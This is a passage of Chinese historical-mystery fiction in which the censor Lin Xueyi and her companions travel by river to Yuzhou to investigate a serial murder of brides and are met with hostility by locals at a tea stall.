身后一阵不徐不疾的微风拂过,零星散落的梅花花瓣在她被轻轻扬起的发梢间起落。 晏返目光一沉,顿住脚步,问:“豫州的案子原本不是要派刑部的人去查吗,怎么又要我们去?” “回首尊,”巽五的声音随风入耳,“刑部尚书近日突然犯了头疼病,刑部之中亦多有人感染风寒,因此人手紧张。圣上听闻林御史在徐州的事后,便改了主意。” “哼。”晏返冷笑一声。 刑部那姓朱的哪是头疼,是不愿接豫州那烫手的山芋罢了。 肩上的脑袋轻轻动了动,柔软发丝挨上他颈侧,他旋即软下目光,背着林雪意进了宅子。 他有许多企盼,但他最希望的却是,她能好好的。 “什么?豫州发生的是新娘连环被杀案?!” 船已离岸好些时候,深月在客舱里听林雪意提起文书上的案件记录,不由起了一身鸡皮疙瘩。 “嗯。”林雪意看着随圣旨一道送来的文卷,面色有些凝重。 这正是她决定今日一早就启程的原因。 案发地点是在豫州的知源县,近几月来已经连续发生三起新嫁娘被害案。 据文书上描述,三名新娘的死状一致,都在死前遭受过凌虐,最后被一刀刺入胸口而死。并且,每个新娘的脸上都依次刺了字,第一个是甲,第二个是乙,第三个是丙。 官府认为这是一桩连环杀人案,当地百姓似乎也人心惶惶。官府虽然抓到了几名疑犯,但那几人拒不认罪。 案子悬而未决,于是民怨四起,渐有剑拔弩张之势。 “这么说,知源县的民风一定很彪悍。”深月煞有介事地点着头,道,“竟然敢跟官府对着干。” 一声嗤笑从旁传来,正是边上大喇喇斜倚在木椅上的晏返发出的。 深月不悦地睨了他一眼,扬起眉毛:“笑什么?我说得有什么不对吗?” 晏返却是笑着摇摇头:“没什么不对,所以到时候你要小心护着点你家姑娘。” 林雪意闻言向他递出一个不解的目光,对方却仍只是笑笑,回望她道:“等到了豫州,你就知道了。” 见晏返存心卖关子,林雪意也没再追问。 晋朝将天下划分成十三道,她原本以为晋帝让她改道去豫州,是因为豫州和徐州同属河南道,可以便宜行事的关系。但听晏返言下之意,似乎还有别的原因。 好在豫州和徐州虽然相隔较远,但沿途州县都有水路,若是顺利,只消四五日便可到达豫州地界,那之后再转陆路往知源县去便可。 林雪意一行人到达豫州地界时正是午后。 这里的气候似乎较之尹阳要暖和一些,两岸渐渐的有了绿意。 渡口前方不远处便有茶棚,除了茶水还供应一些油饼油条,因此往来行人有不少在茶棚里打尖歇脚的,好不热闹。 “姑娘姑娘,我们也去坐会儿吧。”深月坐了几日船直呼无聊,如今上了岸最是高兴,看什么都觉得新鲜,边跑边朝林雪意招手。 林雪意笑着跟上,算是应允了。 墨云也不用人吩咐,径直大步上前挑了一张空桌,擦干净了凳子,对林雪意道:“大人,请。” 他语声未落,周围的谈笑声骤然停了。 林雪意抬目四望,只见茶棚里的人齐刷刷扭头朝他们看过来,那目光不是好奇,而是戒备,甚至怀有敌意。